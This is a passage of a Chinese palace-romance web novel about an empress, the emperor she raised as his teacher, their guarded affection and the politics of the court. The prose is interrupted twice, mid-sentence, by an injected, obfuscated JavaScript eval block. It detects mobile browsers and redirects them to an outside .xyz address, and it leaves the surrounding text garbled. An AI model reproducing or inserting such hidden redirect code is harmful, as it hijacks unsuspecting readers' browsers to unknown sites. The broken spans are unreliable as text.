美盼递了镶螺钿的小银刀来,她未接,反是以手托腮,蓦地问道:“这会儿有些昏沉,你帮我想想,怎么样才能平顺地入了冷宫,又不连累阿耶和哥哥?” 美盼没太听懂她的意思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894793|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “若是冷宫之中有故人,娘娘吩咐奴婢一声就是了,何必亲自去那不吉之地。” 容鹿鸣先是笑了,继而轻叹,“我是说我自己,不想呆在这儿了,想去冷宫过自在日子。” 美盼大惊失色,“扑腾”一声跪下,“娘娘这说的是什么话……” “嘘。”容鹿鸣以指压住她的唇。 “说着玩儿的。这点心我就不碰了,你直接送去文华殿,他——陛下一看便知。” 多年师徒相伴,有什么是她知道而他不知道的呢。 美盼走后,容鹿鸣着人摊开张玉版生宣,她拎着笔,寥寥数笔,画墨竹图。 方才她不是玩笑,那一刻,她当真是想从这无尽的争斗中脱身。冷宫,在她看来,确算个不错的去处。 她向来杀伐果断,极端厌恶失序,也厌恶与那些人虚与委蛇。权谋争斗之事,她虽很擅长,但不甚喜欢。 搁下笔,她抬眼望着窗外,云彩浮动不息。她自己却只感到清风几许,而九霄之上,正飓风四起。她向往那些风。 也许此生都无望离开这里了,她环顾四周,这金玉宝石镶嵌的笼子。 她想重返战场杀敌,更想战乱平后,归去石窟崖继续为菩萨造像,日出开工,日落而息。简简单单,既不必与许多人纠缠,也不必同某人周旋。 多年征伐,她不喜欢那些不熟悉的人靠近她,更厌恶陌生人聒噪。职责之外,她全然不想和陌生人多说一字。就如先前,她每回返京述职,入宫面圣之余,除了太子和萧正则,她几乎谁也不见,整日在相府里装病谢客。太子或萧正则前来探望她,走的都是相府后墙的角门。 了解她的人,知道她的性子。不了解的,还在心里嘀咕:“这身娇体弱的,是怎么把北狄、南蛮几名大将斩于马下的?” 现如今,她面上维持着端方优雅,心里却只想逃开这里,去个无人识她的地方躲清静。 太过嘈杂,在这深宫之中。她不想识得其中任何一个陌生人,祈盼凤仪宫成为孤岛一座。愿她们争宠争到鸡飞狗跳,留她一人清静。待哥哥平了北狄战乱,她不必再担心朝中之人掣肘哥哥,阿耶再一道告老归田,她便不需要再在这个位置上典重地摆着…… 容鹿鸣闭上眼睛,静静坐了片刻。 然后,她睁开眼睛,将怯懦与疲倦与面前画纸一道团起,掷于墙角。 “巧笑,梳妆!”此事结了,凤仪宫又要热闹起来。 贵重的妆奁打开,容鹿鸣望着镜中自己,不过是一介凡俗之人罢了,她觉得,明明宋淑离才该是皇后的不二之选。 从政局上讲,她能理解萧正则的选择,拉拢容家,打压以宋氏为首的门阀。 有敌人才能让盟友靠近,有盟友才能打击敌人。政权争斗向来如此。纵然贵为天子,亦不能随心所欲。 当然,也不是非容家不可。容家完全可以隐于幕后。以他们当年的师徒之谊,他既登了基,容家怎会不默默助力? 还有其他门阀迫不及待地,想成为新帝手中的刀刃。 可是,萧正则显然想要更多。 51. 玉露团与蜜糖 容鹿鸣是看着萧正则长大的,救过他,教养他,引导他,直到他长成一个才华卓荦的俊逸少年。 当他枕于她膝上,或栖于她身侧时,她亦觉得赏心悦目,私下里曾想:如此俊雅郎君,不知得迷住多少小娘子? 而她自己总归是个旁观者。她的旧伤不时疼着,在一天的大部分时候,在笑的时候、说话的时候,在除了拔刀杀敌、制衡政敌以外的许多时候。梦魇时时来扰,夜不能寐时,她画舆图、抄佛经,常常画、写一整夜。 旁人只见她荣宠甚厚,谁知她几乎难堪伤痛。 其实在所有的境遇里,最失序的,就是她这个人。她早已断了婚嫁的念头。京中贵公子们的那些求亲、示爱,她只一笑,从不放在心上。 她早已想过自己的终老,若上天眷顾,得与哥哥一道。若不幸独活,于石窟造像之余,倘若萧正则需要,她会去帮他一帮。在她那样的构想中,萧正则是个嗜书爱画的闲散王爷,也许,他会想编纂几卷趣事逸闻,她会很愿意去做她的幕僚。 在她于死亡的臆想中,只有两个人:容雅歌和萧正则。 萧正则早已站在最靠近她的位置,令她难以割离、无从防备。 他的那些试探,她都懂得,她辨得出,他未在演戏——他是认真的,想要同她姻缘永结。 她无法像对其他人那样置若罔闻,她先是怕了。她发觉他总因她失控,从她设计假死时他为她挡的那支箭,到绑住她双手、却能在肆意妄为前生生止住,再到他怒极时眼里杀意升腾,却从不动手……有时候,他看她的眼神,自以为掩藏得极好,她却从那层层柔软的笑意里感到锋利,他如同在眼眸深处噬咬着、咀嚼着她,宛如品味着某种极美的滋味。 她战栗着,却从不躲开视线。她知道,若她伸出手,他便会温顺地栖在她身侧。 萧正则的温文尔雅是做给旁人看的,她见过他暴戾的那面。但每每那种时刻,他都让她看到,那些无法诉诸于口的手段,都可以因她止息。 他像个孩子、少年、嗜血的兽。 “这不太好……”暗夜里,容鹿鸣一边掐着佛珠,一边想。她笑了笑,笑自己当年何必为萧正则谋划甚多,笑事到如今,她竟会因他心生动摇。 “到底爱美之心人皆有之呐。”她替自己开脱,又是一笑。她可以一直留在此情此境,欣赏他如欣赏一幅难得的画,不会逾越一步。 多少次死生一瞬,她早就分得很清楚了,可得的,不可得的;该得的,不该得的。 即便喜欢,也不意味着要据为己有。 “不过是师徒之谊而已。”她把自己圈住,不想看到史官们真的记下:娶师为后,罔顾伦常。 真的惧怕史官吗? 倒也不是。惊世骇俗的事她做的多了,史官们次次口诛笔伐,没有一次“伐”得过她。新得提拔的御史大夫们都口耳相传:“最好莫在纠弹的奏疏中轻易提到那个名字——容鹿鸣。” 只是,她需要一个节制自己的理由。 她知道萧正则的抱负和向往,总有一天,他们师徒一定会分道扬镳。 若不管不顾地走到那个地步再诀别,一定会纷争不断、血肉模糊,并且,一定会累及家族。 “何必呢?”她掀开帷幕,让月光照在自己脸上。 月色满室,她看见有人俯在她床角,似是睡熟了。 她起身,走过去,是萧正则。被噩梦惊醒前,她似是睡了一会儿,他就是那时潜进来的吧。时日久了,他的突然出现已不会再惊动她,被她以刃抵喉。 不过,她梦醒后在床上翻来覆去,他俯在床沿,竟也睡得着。 自那次,他拿攻打宇文靖封地威胁她后,他们好几日不说话了。但不妨碍他时常夜半而来,似是栖在她身旁,才能寻得好梦。 他当真如他自己说的那样,恪守礼仪。 容鹿鸣不由得笑了,这是他教养的少年呐。她轻轻坐到他身旁,轻抚他光润的乌发。他似是醒了点儿,迷迷糊糊地凑过来,一声声喊她:“老师、老师。”像小时候那样,抱她的腰,枕到她腿上,把脸埋入她掌心轻轻蹭。 倏忽间,悠长的呼吸又扯了梦来。 掌心中,他的睫毛和嘴唇一样柔软。她舍不得叫醒他,就让他这么睡着。夜风清凉,她以毯子裹住他和自己。示意值夜的侍女来点一支细烛。 捧烛而来的是昙现。 “皇后娘娘。” “陛下在我这儿,你回去休息吧。” “谢娘娘恩典,陛下只有在娘娘这儿……”昙现意识到自己话多了,连忙磕了个头,匆匆退下。 退出寝殿的片刻,他抬眼看到,陛下静静枕在皇后膝上,皇后借着烛火微光,在读一本《心经》。 明明在不久之前,陛下还对皇后起了杀意。 昙现想到先帝的临终遗训,心中悚然。 清晨,容鹿鸣嗅到喜欢的茉莉香气,悠悠醒来。 长梗的虎头茉莉在她枕边,萧正则已上朝去了。他把她放在床榻中央,以她习惯的熟睡姿势,为她盖好薄毯。 早朝前,萧正则吃了一个玉露团,不甚新鲜了,但依旧好吃。是受了容鹿鸣太多影响吗?他的口味喜好都与她越来越像。 这玉露团中亦是四颗蜜豆,同昨日吃的一样,俱是双数。这种流行于容家军军中的游戏,他怎么会不知道? 乌蒙镇的事还差个结尾,还有悄悄被运走的那船盐税……一会儿早朝,他会装作毫不知情的样子,看他们怎么演。 他眷恋地望向床榻那畔,帷幕之下,容鹿鸣还熟睡着,真难得。 夜深时刻,他不知被她惊醒过多少次,又多少次揽着她,安抚她入睡。 萧正则有次听陆谦陆院判说起,容鹿鸣不肯再服他开的安神药,说是太苦。他听后便时常于夜间去看她。在她身畔,他也总能寻得好梦。 他还叫陆谦多加些蜂蜜,做一味膏方给凤仪宫送去,谁知, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907183|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又被退了回来。 他听了忍不住笑,容鹿鸣会拒绝加了很多蜜糖的东西?当年她不时带着他去东市闲逛、吃吃喝喝,连带着视察她的生意,她还一直以为,他不知道哪些店铺是她的。 有回买了一坛蜂蜜,她谨慎欢喜地抱着,像抱着一坛黄金。谁知,竟碰到了同样来视察生意的容雅歌。 他记得她登时收了笑,把蜂蜜往他手里一放,面不改色心不跳,对她兄长说:“哥哥,这是给七皇子买的。” 他只得陪着她演,挂起笑容,微微颔首。 堂堂大将军怎么总管着妹妹吃蜜糖?他心里困惑。到了很后来才知道,小时候是怕她吃坏牙齿,后来有次在战场上,容鹿鸣陷入埋伏,不得不与敌人血肉拼杀。她虽杀出重围,却被敌人主帅击伤了下颌和牙齿。 军医官陆徐开了方子,还要她少吃甜食,仔细将养。 她那伤,在容雅歌严格的监控下,大抵是好透了。 萧正则不爱甜食,每每见她茶汤里也要搁一匙蜜,恨不能离得远远的。 可又要常常跟着她学书画,两个茶盏搁得近,一不小心就饮了她的甜茶,不好意思吐出来,含个半天才能咽下去。时日久了,渐渐地,他也就甜与不甜均可了。 “食盒带上,退了朝,做朝食。”迈出凤仪宫寝殿前,萧正则对昙现说。 “陛下,这隔了夜的,不如奴才命尚食局做了新的来?” “不必,你捧好就是。” 早朝之上,重要政事俱写在折子里。有些政务,萧正则不必听得太仔细,分出一些心思,他观察着殿下的衮衮诸公。 细微的表情骗不了人。那些说着“为民福祉,为君分忧”的人,思及他们私下所做之事,只觉庄重过甚而近乎于伪。 论争的机锋你来我往,可往细了听,不过都是几大世家、新贵们的利益纠葛。 若能于争权夺利之余,为国家、细民做些实事,已属难得。 萧正则幼时长于冷宫,儿时到少年,又不时随容鹿鸣穿行市井,见过许多生死、疾苦。 越靠近权力的核心,他越觉得,在那些掌权者眼中,世事是另一番模样。 是权力争夺、特权绵延、利益追逐,套着为国为民的大话,日日在京中、在朝堂之上来回上演。 萧正则觉得又厌又倦。殿下立着的那位二品官员,言辞精雅、喋喋不休,说的是西市许多商铺业已老旧,理当由户部牵头,统一修葺。 是否真的需要修葺暂且不论,想再向这些商户征税却是真的。 看上去,有人附议,有人反对。而争的不过是,这么大一笔税金,他们各个能分多少。 萧正则懒得再听,示意昙现收了折子、让那人闭嘴。 他想到很久之前他同容鹿鸣说过的一些事,出于对先帝的敬重,她当时未置可否。可萧正则知道,她心里也那样想。 他是她教导出来的。知我者谓我心忧,他们的理想是相同的。